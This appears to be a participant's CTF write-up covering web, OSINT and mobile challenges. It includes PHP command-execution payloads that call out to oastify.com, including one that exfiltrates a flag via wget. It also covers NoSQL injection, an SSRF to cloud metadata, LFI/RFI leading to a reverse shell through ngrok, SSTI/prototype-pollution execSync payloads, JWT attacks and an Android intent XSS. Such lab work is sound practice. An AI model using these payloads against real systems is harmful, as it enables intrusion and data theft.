

Writeup

Author: redpwnda

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Discord verification flag:

```
PAYATU{d1sc0rd_v3r1f1ed_4nd_r34dy_t0_h4ck}
```

Web Issues

Secure Upload (Not solved)

Security Checks

🎯 MISSION OBJECTIVE

- Bypass all security checks
- Upload a malicious php file
- HXD might be your best friend?
- Retrieve the flag from `/app/flag/flag.txt`

Hint: You need to combine multiple bypass techniques...

- Basic `.png.php` bypass the extension check.
- Do I really need to upload a PHP file. Or I can do another attack since, python-magic check is also there.
- <https://skelmis.co.nz/posts/file-faking/> (Good article)

Based on the article I used a valid png file and added a bash command in it as shown below:


```
python3 PCRT.py -i ../redpwnda.png -o ../redpwnda-output.png -p "\neco\n'/app/flag/flag.txt'\n"
```

- Will upload the file now, lets see what kind of errors I will get.
- Ok uploaded this file with burp collaborator pingback too. Didn't worked.

```
python3 PCRT-3/PCRT.py -i redpwnda.png -o redpwnda-output.png -p '\nflag=`cat /app.flag/base64` ; wget https://cs8quxtexrtsnsogmn4hd96vx1opfd4.oastify.com/a?flag=$flag\n"
```

Dirsearch results: got me `/console` page with 2kb size. (can't use it)

Current file upload gives this error.



Tried following methods and didn't work

1. PCRT-3 method shared in above article
2. Adding PHP in comments. As shown in [this](#) article.
3. REdoing pcrt method. While editing in burp repeater tab.

1.

```
<?call_user_func(str_rot13('fhyy_rkp'), 'curl
http://7jrllsk9omknenfb8hez8801mssjge43.oastify.com');?>
```

 This worked but no callback
 2.

```
<?${'_'}.'POST'}[0]('curl
http://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com');?>
```

 This also worked but no callback.
 3.

```
<? curl$IFShttp://9isnkujbnojpdped7jd17az3lurlfe33.oastify.com`?>
```

 This too worked, but no callback.
 4. It seems PCRT method is wrong in some way. I should go back to comment method.
4. Re-doing comment method. Using same payloads as above in comment. It passed too, but no call back.

Request		Response	
Pretty	Raw	Hex	Render
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36			
6 Content-Type: multipart/form-data;			
boundary=----WebKitFormBoundaryBR2jmWPGrHqWfC6q			
7 Accept: */*			
8 Origin: http://65.1.132.218:50888			
9 Referer: http://65.1.132.218:50888/			
10 Accept-Encoding: gzip, deflate, br			
11 Connection: keep-alive			
12			
13 -----WebKitFormBoundaryBR2jmWPGrHqWfC6q			
14 Content-Disposition: form-data; name="file"; filename="redpwna-php.png"			
15 Content-Type: image/png			
16			
17 PNG			
18			
19 IHDR<?>call_user_func(str_rot13('fhyy_rkp'), 'wget http://ivhwx3wk0xwyqyrmksakjccy34usqgf.oastify.com');?>7wR			Added payload at both comment and appended. Fresh Collab URLs. No callback.
20			
21 -----WebKitFormBoundaryBR2jmWPGrHqWfC6q--			
22			
23			
24			

5. Even if I reduce the content to extreme degree and change the extension to php. It works. I have tested the payload locally also, it works.

Request		Response	
Pretty	Raw	Hex	Render
1 POST /upload HTTP/1.1			
2 Host: 13.127.133.179:51385			
3 Content-Length: 282			
4 Accept-Language: en-US,en;q=0.9			
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36			
6 Content-Type: multipart/form-data;			
boundary=----WebKitFormBoundaryBR2jmWPGrHqWfC6q			
7 Accept: */*			
8 Origin: http://65.1.132.218:50888			
9 Referer: http://65.1.132.218:50888/			
10 Accept-Encoding: gzip, deflate, br			
11 Connection: keep-alive			
12			
13 -----WebKitFormBoundaryBR2jmWPGrHqWfC6q			
14 Content-Disposition: form-data; name="file"; filename="random-php.png.php"			
15 Content-Type: image/png			
16			
17 PNG			
18			
19 IHDR<?>curl http://9isnkujbnojpdped7jd17az3lurlf33.oastify.com`?><IEND@B`			
20 -----WebKitFormBoundaryBR2jmWPGrHqWfC6q--			
21			

Blind trust (Solved)

- After probing a bit found /secret page. Which confirmed it is nosql related issue.

```

37 </head>
38 <body>
39
40   <div class="hint warning">
41     <h3>Important Note</h3>
42     <p>Directory bruteforce won't help. The system only responds to specific injections.</p>
43   </div>
44
45   <div class="hint">
46     <h3>Database Behavior</h3>
47     <p>This database documents everything and works particularly well with Node.js applications.</p>
48   </div>
49
50   <div class="hint" style="display: none;">
51     <h3>Not so SQL</h3>

```

- Use few sample payloads. Below payload worked. Then moved on to finding the password, as web application request original password.

```
{ "username": "admin", "password": { "$ne": null } }
```

- Using regex comparison found first char, then used intruder for second. Which is 3, immediately tried s3cr3t which worked.

Request	Response
<pre> Pretty Raw Hex 1 POST /api/Login HTTP/1.1 2 Host: 3.110.133.162:50947 3 Content-Length: 60 4 Accept-Language: en-US,en;q=0.9 5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 6 Content-Type: application/json 7 Accept: /* 8 Origin: http://3.110.133.162:50947 9 Referer: http://3.110.133.162:50947/ 10 Accept-Encoding: gzip, deflate, br 11 Connection: keep-alive 12 Referer: localhost 13 14 { 15 "username": "admin", 16 "password": "s3cr3t" 17 } </pre>	<pre> Pretty Raw Hex Render 1 HTTP/1.1 200 OK 2 X-Powered-By: Express 3 Access-Control-Allow-Origin: * 4 Content-Type: application/json; charset=utf-8 5 Content-Length: 139 6 ETag: W/"8b-1D24SbaMnGnFF7g9FzGnjt72mFk" 7 Date: Sat, 28 Jun 2025 11:26:05 GMT 8 Connection: keep-alive 9 Keep-Alive: timeout=5 10 11 { 12 "success":true, 13 "message":"Welcome admin! Not so Easy... Where's the password?", 14 "flag":"(Login with the correct password to get the flag)" 15 } </pre>

- But password is even longer so continuing the test using intruder.
- With bit more testing password came out to be s3cr3tPass
- And the flag: PAYATU{NoSQLi_Success}

Login


Username:	<input type="text" value="admin"/>
Password:	<input type="text" value="s3cr3tPass"/>
<input type="button" value="Login"/>	
Welcome admin!	
Flag: PAYATU{NoSQLi_Success}	

Inside Job (Solved)

A case of the inside job has surfaced. Can you uncover what's hidden beneath the surface and crack the system from within—perhaps by digging into some overlooked metadata?

- Feels like AWS metadata. Lets see what it is.
- Source code also mentions s3 key and stuff.

- So other functionality is kinda useless. I need to work with generate pdf with URL.
- The default AWS url `http://169.254.169.254/` seems to have been blocked. As I am receiving error like `Fallback failed: Unable to fetch http://localhost:3000/latest`
- So Using basic hex encoding. Used online encoder for this `http://0xA9FEA9FE/latest`
- This works. Lets move on and fetch more details.



- Couldn't figure out what to do next.
- Ok, Used `file:///` scheme to do local file reads.
- Found a folder with name `/app` in root section. The code was saved in `app.js` file

- Flag PAYATU{169_254_on3_st3p_c10s3r_to @_b@ndit}

15.207.111.29:51603

file:///app/app.js

Generate Invoice



Invoice Preview

≡ app.js

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```

        return res.send(fallbackPdf);
    }

} catch (err) {
    return res.status(500).send(`<pre>Puppeteer Error:\n${err.message}</pre>`);
}

// AWS Credential Validator
app.post('/use-creds', async (req, res) => {
    if (!isInternalRequest(req)) {
        return res.status(403).send("Access Denied: You're on the right path - with the help of the local bandit and a just might slip through. Appearances matter more than origin. You're almost there, Don't forget to bring your keys");
    }
    const ak = req.headers['accesskey'];
    const sk = req.headers['secretkey'];
    const tok = req.headers['sessiontoken'];

    const expectedAk = 'AKIAIOSFODNN7EXAMPLE';
    const expectedSk = 'wJaIxUtnFEMIK7MDENGbpXRfiCYEXAMPLEKEY';
    const expectedTok = 'Hir3M3';

    if (!ak || !sk) {
        return res.status(400).send('Missing AWS creds');
    }

    const akMatch = ak === expectedAk;
    const skMatch = sk === expectedSk;
    const tokMatch = !expectedTok || tok === expectedTok;

    if (akMatch && skMatch && tokMatch) {
        return res.send('PAYATU{169_254_on3_st3p_c10s3r_to @_b@ndit}');
    } else {
        return res.status(403).send('Invalid credentials');
    }
});

// Start
app.listen(3000, () => console.log('Web service listening on port 3000'));

```



1



2



3

Travel Agency (Solved)

destinations from all over the world. The dev team recently added a ""preview template"" feature that dynamically loads different pages based on user selection. Everything looks smooth on the surface, but a careless implementation might have left the site vulnerable to more than just wanderlust... Can you dig into the source and go on a remote adventure to retrieve the flag?

- Did a dirty dirsearch and found following results

```
[18:30:19] Scanning:
[18:30:32] 200 - 263B - /home.php
[18:30:32] 200 - 2KB - /index.php
[18:30:32] 200 - 2KB - /index.php/login/
[18:30:36] 403 - 280B - /server-status
[18:30:36] 403 - 280B - /server-status/
```

- Lets check them out one by one. Ok LFI works here.

The screenshot shows a web browser window with the URL `13.201.0.183:54674/index.php?page=../../../../etc/passwd`. The page title is "Welcome to Bandit Tours & Travel Agency". Below the title, it says "Your one stop solution for booking one way flights, ground floor hotels, and domestic tours.". A navigation bar at the top includes "Home" (which is highlighted in blue), "Book Flights", "Find Hotels", and "Explore Tours". Below the navigation bar, there is a large block of text output from a LFI exploit, which appears to be a dump of the `/etc/passwd` file. The text is mostly in black, with some red and green highlighting of specific words like "root", "nologin", and "nobody".

```

root:x:0:root:/root/bin/bash
daemon:x:1:daemon:/usr/sbin/nologin
bin:x:2:bin:/bin/nologin
sync:x:4:65534:sync:/bin/sync
games:x:5:60:games:/usr/games/nologin
man:x:6:12:man:/var/cache/man/nologin
lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail/nologin
news:x:9:9:news:/var/spool/news/nologin
uucp:x:10:10:uucp:/var/spool/uucp/usr/sbin/nologin
proxy:x:13:13:proxy:/bin/nologin
www-data:x:33:33:www-data:/var/www/nologin
backup:x:34:34:backup:/var/backups/usr/sbin/nologin
listx:38:38:Mailing List Manager:/var/list/usr/sbin/nologin
ircx:39:39:ircd:/run/ircd/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/nologin
nobody:x:65534:65534:nobody:/nonexistent/nologin
apt:x:100:65534:nonexistent:/usr/sbin/nologin

```

- Lets see what we can do with this.
- Below is the source code of the index.php

```

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Bandit Tours & Travel Agency</title>
    <!-- Bootstrap CSS -->
    <link
        href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css"
        rel="stylesheet">
</head>
<body>
    <div class="container">
        <header class="my-4">
            <h1>Welcome to Bandit Tours & Travel Agency</h1>
            <p>Your one stop solution for booking one way flights, ground floor
            hotels, and domestic tours.</p>
        </header>

        <nav>
            <ul class="nav nav-pills">
                <li class="nav-item">
                    <a class="nav-link active" href="index.php?
page=home.php">Home</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="index.php?page=flights.php">Book
                    Flights</a>
                </li>
                <li class="nav-item">
                    <a class="nav-link" href="index.php?page=hotels.php">Find
                    Hotels</a>
                </li>
                <li class="nav-item">

```

```

        <a class="nav-link" href="index.php?page=tours.php">Explore
Tours</a>
        </li>
    </ul>
</nav>

<hr>

<div class="content mt-4">
    <?php
        // Vulnerable include logic
        if (isset($_GET['page'])) {
            $page = $_GET['page'];
            include($page);
        } else {
            echo "<p class='lead'>Welcome to TravelEasy! Please select an
option from the menu.</p>";
        }
    ?>
</div>
</div>

<!-- Bootstrap JS and Popper.js -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script
src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.11.6/umd/popper.min.js">
</script>
<script
src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js">
</script>
</body>
</html>

```

- Got this using this request

```

http://13.201.0.183:54674/index.php/index.php?page=php://filter/convert.base64-
encode/resource=../../../../var/www/html/index.php

```

- Got a revshell doing weird gymnastic

```

ngrok                                         (Ctrl+C to quit)
Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss

Session Status      online
Account            red_pwnda (Plan: Free)
Update             update available (version 3.23.3, Ctrl-U to update)
Version            3.23.1
Region             India (in)
Latency            39ms
Web Interface     http://127.0.0.1:4040
Forwarding         tcp://0.tcp.in.ngrok.io:10817 -> localhost:8080

Connections        ttl     opn     rt1     rt5     p50     p90
                   23      1      0.00    0.01    0.01    0.03

```

```

self.socket.bind(self.server_address)
=====
OSError: [Errno 98] Address already in use
[ kali@Omen16z - /mnt/d/Learning/Attacks ]
$ nc -lvp 8080
listening on [any] 8080 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47792
Linux 72abffbcc4eb 4.14.355-277.647.amzn2.x86_64 #1 SMP Mon
6_64 GNU/Linux
13:44:46 up 3:59, 0 users, load average: 0.00, 0.00, 0.
USER   TTY      FROM          LOGIN@ IDLE  JCPU   P
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ whoami
www-data
$ cd /hom
/bin/sh: 3: cd: can't cd to /hom
$ cd home
$ ls
flags.txt
$ cat flags.txt
Web-CTF-Labs{Rabbit_Always_Finds_a_Hole}

# Try Try But Don't Cry
$ |

```

- With bit of more weird gymnastic found the flag.

```

ngrok                                         (Ctrl+C to quit)
Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss

Session Status      online
Account            red_pwnda (Plan: Free)
Update             update available (version 3.23.3, Ctrl-U to update)
Version            3.23.1
Region             India (in)
Latency            35ms
Web Interface     http://127.0.0.1:4040
Forwarding         tcp://0.tcp.in.ngrok.io:10817 -> localhost:8080

Connections        ttl     opn     rt1     rt5     p50     p90
                   23      1      0.00    0.00    0.01    0.03

```

```

$ cd /hom
/bin/sh: 3: cd: can't cd to /hom
$ cd home
$ ls
flags.txt
$ cat flags.txt
Web-CTF-Labs{Rabbit_Always_Finds_a_Hole}

# Try Try But Don't Cry
$ cd /var/
$ ls
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www
$ cd www
$ ls
html
web.config
$ cat web.config
User: admin244
Password: S35857X#@Adr3kLes0n
$ cd html
$ ls
S3cRetP4g329658.html
flights.php
home.php
hotels.php
index.php
tours.php
$ cat S3cRetP4g329658.html
<h1>You Are Awesome, EUREKAAAAAAA</h1>
<p>
PAYATU{BANDIT_1s_B4ND1T_RFI}
</p>

# OffensiveBytes # BreachForce
$ |

```

- Flag PAYATU{BANDIT_1s_B4ND1T_RFI}

What I did?

1. Found LFI

2. Used that LFI to look for internal files, it was hard, very hard. So tried RFI for webshell
3. Webshell didn't work, so then tried Revshell.
4. Needed to host my file as well as a listener.
5. So Used ngrok for revshell and Pinggy for hosting my file. Updated the details of ngrok by pinging it with ping command.

The screenshot shows a terminal window split into two panes. The left pane is a browser window displaying a Pinggy dashboard with a warning about an unauthenticated tunnel. The right pane is a Windows PowerShell window running on a Kali Linux host via WSL. The PowerShell window shows the user navigating through a directory, starting a Python HTTP server on port 8081, and listing several log entries from a file named '2025-06-28.19-12.log'.

```
You are not authenticated.
Your tunnel will expire in 60 minutes. Upgrade to Pinggy Pro to get unrestricted
tunnels. https://dashboard.pinggy.io

http://rnmdb-180-188-247-124.a.free.pinggy.link
https://rnmdb-180-188-247-124.a.free.pinggy.link

Recv: 1.73 K Sent: 6.90 K
Req: 3 Res: 3
Active: 0 Total: 3

> GET 200 OK /
GET 200 OK /RevShell_samples/
GET 200 OK /RevShell_samples/php_rev_shell.php

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!
ws

Loading personal and system profiles took 653ms.
[kskul@Omen16z ~]
$ wsl
(Message from Kali developers)

This is a minimal installation of Kali Linux, you likely
want to install supplementary tools. Learn how:
= https://www.kali.org/docs/troubleshooting/common-minimum-setu
(Run: "touch ~/.hushlogin" to hide this message)
The terminal output is saving to /home/kali/Logs/2025-06-28.19-12.log
[kali@Omen16z ~]$ /mnt/c/Users/kskul]
$ cd /mnt/d/Learning/Attacks/
[kali@Omen16z ~]$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
127.0.0.1 -- [28/Jun/2025 19:14:03] "GET / HTTP/1.1" 200 -
127.0.0.1 -- [28/Jun/2025 19:14:09] "GET /RevShell_samples/ HTTP/1.1" 200 -
127.0.0.1 -- [28/Jun/2025 19:14:45] "GET /RevShell_samples/php_rev_shell.php" 200 -
```

Secure Storage Vault (Not Solved)

The city has just rolled out a new secure file storage system for its citizens. Users can register, log in, and upload their files but are you sure it's as secure as they claim? Explore the platform, uncover its flaws, and retrieve the flag hidden within the system.

- Attempted all below attacks. Failed in all.
- SSTI and Prototype pollution on EJS 3.1.9

```
//payload while fetchin blog
is_admin%5Bview%20options%5D%5Bclient%5D=true&settings%5Bview%20options%5D%5BsafeFunction%5D=1;return%20global.process.mainModule.constructor._load('child_process').execSync('$encoded_command');
```

```
//payload while fetching blog
__proto__[toString]%3d<%25%3d+global.process.mainModule.require('child_process').execSync('id').toString()%25>%26blog_name%3fanyblog%3fblog_name%3fabout-secure-storage-vault
```

```
//payload during registration
```

```
{
  "username": "test2",
  "password": "test",
  "__proto__": { "is_admin": true }
}


// Tried registration overwrite and mass assignment.
// Deserialization attempts in cookie payload.
```

- SSTI felt the best pathway, but couldn't leverage it.

Seal the deal (Not Solved)

 You've landed on a basic login/signup portal. Everything looks simple — create an account, log in, view your profile. But there's something... strange. Regular users don't seem to have access to a certain hidden area. Rumor has it that someone managed to sneak their way into the admin zone — without hacking the front door. Can you figure out how to bend the system and take control?

- Found json keys with `k` base64 encoded secret keys.



```

1   "alg": "HS256",
2   "e": "AQAB",
3   "k": "ZmFrZS1obWFjLXNlY3JldC1rZXk",
4   "kid": "hmac-legacy-2023",
5   "kty": "RSA",
6   "n":
7     "wGvjkzN02fTcKoNJITI_XgIBYpQTr3JzYR1M8bEVzPYwXvJnKHMRRNdQ8QzKLp4mVtc2YHzrG
8       pKvN4PQp1VeKrOzKrGxFpKvN4PQp1VeKrOzKrGxFpKvN4PQp1VeKrOz",
9   "use": "sig"
0 },
1 {
2   "alg": "HS256",
3   "k": "c3VwZXItc2VjcmV0LWFwaS1rZXktMjAyNA",
4   "kid": "api-secret-v2",
5   "kty": "oct",
6   "use": "sig"
7 },
8 {
9   "alg": "HS256",
0   "e": "AQAB",
1   "kid": "legacy-hmac-key",
2   "kty": "RSA",
3   "n":
4     "yGvjkzN02fTcKoNJITI_XgIBYpQTr5JzYR1M8bEVzPYwXvJnKHMRRNdQ8QzKLp4mVtc2YHzrG
5       pKvN4PQp1VeKrOzKrGxFpKvN4PQp1VeKrOzKrGxFpKvN4PQp1VeKrOz",
6   "use": "sig"
7 },
8 {
9   "alg": "RS512",
0 }
```

- Decoded those
 - api-secret-v2 found to be `super-secret-api-key-2024`
 - hmac-legacy-2023 found to be `fake-hmac-secret-key`
 - Lets use the first one.

- None Token Doesn't work

The screenshot shows a browser developer tools Network tab. On the left, under 'Request', is a detailed log of a failed API call. The status is 'UNAUTHORIZED'. The response body contains the JSON object: { "error": "Invalid token" }. On the right, under 'Response', is a summary of the failed request.

```

Request
Pretty Raw Hex
1 GET /admin HTTP/1.1
2 Host: 3.6.40.192:52844
3 Accept-Language: en-US,en;q=0.9
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
5 Authorization: Bearer
eyJhbGciOiJB+jlwidHlwIjoiSlidUIn0.eyJbWpbCI6ImFkbWluQGdtyWlsLmNvbSisImV4cC
iGMTcIMTiTwODg2MSwiwF0IjoxNzUsMTiyNDYxLCJyb2x1IjoiYWRtaW4iLCJ1c2VyX2lkIjoyLCJ1
c2VybmtzS16ImFkbWluIn0.
6 Accept: */*
7 Referer: http://35.154.6.206:51044/
8 Accept-Encoding: gzip, deflate, br
9 Cookie: jwt_token=
eyJhbGciOiJB+jlwidHlwIjoiSlidUIn0.eyJbWpbCI6ImFkbWluQGdtyWlsLmNvbSisImV4cC
iGMTcIMTiTwODg2MSwiwF0IjoxNzUsMTiyNDYxLCJyb2x1IjoiYWRtaW4iLCJ1c2VyX2lkIjoyLCJ1
c2VybmtzS16ImFkbWluIn0.
10 Connection: keep-alive
11
12

Response
Pretty Raw Hex Render
1 HTTP/1.1 401 UNAUTHORIZED
2 Server: Werkzeug/2.3.7 Python/3.11.13
3 Date: Sat, 28 Jun 2025 15:37:52 GMT
4 Content-Type: application/json
5 Content-Length: 26
6 Access-Control-Allow-Origin: *
7 Connection: close
8
9 {
    "error": "Invalid token"
}
10

```

- api-secret-v2 also doesn't work.
- kid based attacks also doesn't work

The screenshot shows a browser developer tools Network tab. On the left, under 'Request', is a detailed log of a failed API call. The status is 'UNAUTHORIZED'. The response body contains the JSON object: { "error": "Invalid token" }. On the right, under 'Response', is a summary of the failed request.

```

Request
Pretty Raw Hex
1 GET /profile HTTP/1.1
2 Host: 3.6.40.192:52844
3 Accept-Language: en-US,en;q=0.9
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
5 Authorization: Bearer
eyJhbGciOiJlUzI1NiIiampzbCI6I4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLCJ0eXAiO
iJkV1Qifq.eyJlci2VYx1kIjoiYvbmFtZS16ImFkbWluJyisImlvYtWlsjoiYWRtaW4iWSA22lha
WvuU2Stliwicm9sZS16InVzZXl1LCJleHAiOjE3NTExMDg4NjEsimlhdCI6MTc1MTEyMjQ2MXX0.DM_
JSJFPl_1ULqm5a2u31KVYYFd8PldK_xancliyItkvRrbMfpHkwXY6PF429K_KZ2wWFsShUVBfIW
fITr--7tnL_lAVKLa4MtV2Qqlfg3wE0LYGlbLeZToj8Tnlazkg2cfJQ5T0gX-RfFmnrOMxpId4KHGy
F1D9LlPuvVKnDoyj5hKw8VHchb3HHrj-rd3VuE6G3ollkTCrdY9KAAi5MC_aZOD30ARNUh6Y-8hoca
9ASCVkmfIVI-VYz605Xc-4qD2q7QHdHolrbWnD_h5CYtx6ritmdcpVoXtMqMPNvJDmnA3Vp3LLryD3
ICBMNlJrzN8vsC4Ily1Ku7lr2wg
6 Accept: */*
7 Referer: http://35.154.6.206:51044/
8 Accept-Encoding: gzip, deflate, br
9 Cookie: jwt_token=
eyJhbGciOiJlUzI1NiIiampzbCI6I4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiLCJ0eXAiO
iJkV1Qifq.eyJlci2VYx1kIjoiYvbmFtZS16ImFkbWluJyisImlvYtWlsjoiYWRtaW4iWSA22lha
WvuU2Stliwicm9sZS16InVzZXl1LCJleHAiOjE3NTExMDg4NjEsimlhdCI6MTc1MTEyMjQ2MXX0.DM_
JSJFPl_1ULqm5a2u31KVYYFd8PldK_xancliyItkvRrbMfpHkwXY6PF429K_KZ2wWFsShUVBfIW
fITr--7tnL_lAVKLa4MtV2Qqlfg3wE0LYGlbLeZToj8Tnlazkg2cfJQ5T0gX-RfFmnrOMxpId4KHGy
F1D9LlPuvVKnDoyj5hKw8VHchb3HHrj-rd3VuE6G3ollkTCrdY9KAAi5MC_aZOD30ARNUh6Y-8hoca
9ASCVkmfIVI-VYz605Xc-4qD2q7QHdHolrbWnD_h5CYtx6ritmdcpVoXtMqMPNvJDmnA3Vp3LLryD3
ICBMNlJrzN8vsC4Ily1Ku7lr2wg
10 Connection: keep-alive
11
12

Response
Pretty Raw Hex Render
1 HTTP/1.1 401 UNAUTHORIZED
2 Server: Werkzeug/2.3.7 Python/3.11.13
3 Date: Sat, 28 Jun 2025 15:40:55 GMT
4 Content-Type: application/json
5 Content-Length: 26
6 Access-Control-Allow-Origin: *
7 Connection: close
8
9 {
    "error": "Invalid token"
}
10

```

- Lets try algorithm confusion now.
-

OSINT (All Except Bonus)


Flight of the Lurk3r

- Just take md5 of the hash using `md5sum` command and use it as flag
- PAYATU{088858b0048b014e450d40bade8cb89d}

The Lake below

- Do reverse google search.

- Found it in first response:



- Lake name is Lago Maggiore
- Lets try that as flag. PAYATU{LagoMaggiore} well this is correct.

The Town at the Edge

- Town at the edge of the plane wing. Since I already have the original source image, I will do research there.
- Well the name is present in original source itself. PAYATU{Lugano}

The Flight Code

<https://velvetescape.com/plane-view-swiss-alps-lago-maggiore/>

- On the wing it is written KLM with Crown type symbol.
- We know the flight is landing at Milan Airport, going over Switzerland's Lugano.
- The article mentions the flight route Amsterdam to Milan Malpensa and its timing is said to be early morning
- Tried two flight codes didn't work. one for flight at 6:30 and another around 8.25. Both failed. PAYATU{KL1613} and PAYATU{AF8373} .
- Lets check another direct flight at 10:20. PAYATU{KL1597} This also failed.
- Lets try on airfrance connecting flight. PAYATU{AF1830}
- One more connecting flight found, lets see what it holds PAYATU{AF1330}
- Since I found no direct flight in the early morning lets check out one afternoon flight from AMS to MXP. PAYATU{KLM1621} Also tried PAYATU{KL1621} .
- Nothing working, I have checked, KLM doesn't go for any direct flight to Malpensa. So lets move to LIN.
- Tried PAYATU{KLM1615} . And it worked.


Tail code

- Wiki URL is provided to us.
- Checked the flight details. Found E75L and E75S both not working.
- On another website it was PAYATY{B738} again didn't work. OK spelling mistake, tried again PAYATU{B738}
- Worked.

Cryptic Phantom

Well from the first question we already know who the author is. We just have to figure out what are the things associated with him. Maybe twitter handle name or others.

- Tried PAYATU{Keith_Jenkins}
- PAYATU{KeithJenkins}
- PAYATU{velvetescape}
- PAYATU{iambassador}
- Checked the image author using exiftool. Found the name. lurk3r_in_plane



The Phantom Behind the Lens

Baaa, this thing is still going on.

- Lets check again 1 by 1.
- PAYATU{keith_jenkins}
- <https://www.aperisolve.com> on the image.

- First search gave the answer.

lurk3r_in_p1ane

All Images Shopping Videos News Short videos Forums More

Did you mean: [lurk 3_in_1](#)

Instagram https://www.instagram.com › DLVleFwPgSO · Amster M. illiano | Window seat thoughts ✨ Somewhere ... 3 days ago — 0 likes, 0 comments - lurk3r_in_p1ane on June 25, 2025: "Window seat thoughts ✨ Somewhere between two worlds above mountains and lakes ...


Mobile (All Except Gatekeeper)

Snorlex

- Basic root detection bypass, I did using magisk.
- Flag PAYATU{SN0RL3X15BL0CKNGXYXUIQP13J4}

Gatekeeper

- Install the app, try opening. Nothing available. Had to enter a secret code.



- Lets check logcat with this. Not visible in logcat.
- Lets go for jadx gui.

- Very likely this has to do with `libnative-lib.so` file. Lets do a bit of rev engg of this file using ghidra or gdb.
- Too much time taken. Not solved

Pathfinder

- Reviewed Jadx gui.
- Reviewed App manifest file.
- Reviewed Mainactivity file.
- Reviewed strings.xml file for host value.
- Based on the data provided in challenge, I can say it has to do something with deep link and XSS.
- URL schema is observed in Activity as `ctf://payatu/web`
- Then Host URL to be found in strings as `payatu.com`
- And finally the function which will provide us the flag `showFlag()`
- So basically we have to invoke the intent, and put our payload with valid URL Scheme and host then just get out of the payload using double quote.

```
# Doing inside root shell of android.
am start -a android.intent.action.VIEW -d 'ctf://payatu/web?
url=https://payatu.com%22);AndroidFunction.showFlag();//' com.ctf.pathfinder
```



- Flag `PAYATU{Th1s_i5_th3_w4y}`

Whereami

Thor is looking for his brother. Maybe he should broadcast a message about finding his brother. Note that: When you click on the installed WhereAml app, it will not open. This is intended behaviour.

- Analysed the code using jadx gui and drozer.
- Found there is a broadcast listener `com.payatu.whereami.BroadCastListener`
- Went back to the jadx gui and searched what does this receiver do. It compares some value to open another activity. Which is base64 encoded and stored in strings with name `code`.

```
[venv](kali㉿Omen16z)-[~/mnt/d/Learning/Attacks/webshells]
$ echo "TWpvbG5pcg==" | base64 -d
Mjolnir
[venv](kali㉿Omen16z)-[~/mnt/d/Learning/Attacks/webshells]
$ |
```

- Now will run the broadcast receiver with `loc` variable as `Mjolnir`

- Used chatgpt to make a frida script to run the `ImTheSecond` activity while I start the broadcast from drozer.
- drozer command `run app.activity.start --component com.payatu.whereami com.payatu.whereami.MainActivity`

```

<class 'RuntimeError'>
yayerroray you probably didn't specify a valid drozer server and that's why you're see
ing this error message
[kskul@Omen16z]-(D:/Learning/AndroidPentesting/Tools/drozer] 34s ✘
$ drozer console connect
Selecting 62bb8ba0f85dbe67 (Xiaomi 21061119BI 13)

...          ...
...o.        .r..
...a. . . . . .nd
...  ro.idsnesisisand.pr
...  .otectorandroidsneme.
...  .sisandprotectorandroids+.
...  .nemesisandprotectorandoidsnemis.
...  .emesisandprotectorandoidsnemes..
...  .isandp...rotectorand...idsnem.
...  .isandp...rotectorandroid...snemesis.
...  ,andprotectorandroidsnemesisandprotoc.
...  .tora...nemesisandprotectorandroid.
...  .nemesisandprotectorandoidsnemesisan:
...  .dprotectorandroidsnemesisandprotector.

drozer Console (v3.1.0)
dz> run app.broadcast.send --action com.payatu.whereami.BroadCastListener --extra strin
g loc Mjolnir
Attempting to run shell module
dz> run app.activity.start --component com.payatu.whereami com.payatu.whereami.MainActivity
Attempting to run shell module
dz>

```

. . . More info at <https://frida.re/docs/home/>
. . . Connected to 21061119BI (id=f296f27d0504)
Failed to spawn: unable to find a front-door activity
[kskul@Omen16z]-(D:/Jobs/Payatu/Mobile/scripts] 34s ✘
\$ frida -U -n com.payatu.whereami -l \imtheone.js

/---| Frida 17.1.5 - A world-class dynamic instrument
| C_ | Commands:
/_/|_| help -> Displays the help system
...|_| object? -> Display information about 'object'
...|_| exit/quit -> Exit
...|_| More info at <https://frida.re/docs/home/>
...|_| Connected to 21061119BI (id=f296f27d0504)
Attaching...
[*] Starting...
[+] ImTheSecond Activity launched
[-] Failed to get native flag: Error: java.lang.RuntimeExce
inside thread Thread[Thread-4,10,main] that has not called
[21061119BI::com.payatu.whereami]-> |

- Flag: PAYATU{WAMI-G0d0F7HUND3RONHUNT}

AStrangeDoor

 There's an enchantment on the Sanctum's door, Only known to magician's core,
